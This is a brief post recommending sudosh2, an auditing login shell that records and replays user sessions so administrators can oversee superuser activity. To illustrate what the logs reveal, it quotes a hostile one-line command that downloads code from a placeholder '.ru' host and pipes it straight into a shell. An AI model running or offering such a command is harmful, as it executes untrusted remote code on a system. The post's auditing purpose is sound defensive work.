Trust, but verify!
Check out sudosh2. sudosh2 is provided by FreeBSD ports. Packages are available for RedHat and Ubuntu. Here is the description from their website:
sudosh is an auditing shell filter and can be used as a login shell.
Sudosh records all keystrokes and output and can play back the session
as just like a VCR.
Sudosh will allow you to replay the user's session, which will allow you to see all input and output as the user saw it. You see everything, keystrokes, typos, backspaces, what did they edit in
vi, the output of
wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, etc.
It's possible to send sudosh logs to syslog, so that they can be stored on a central syslog server away from the system.
Note that sudosh2 is a replacement for sudosh, which was abandoned by it's author
Do you work at an academic institution where users insist on having superuser privledges? Or do you work at a corporation and want to allow users to have superuser privileges on their own VMs? This might be the solution for you.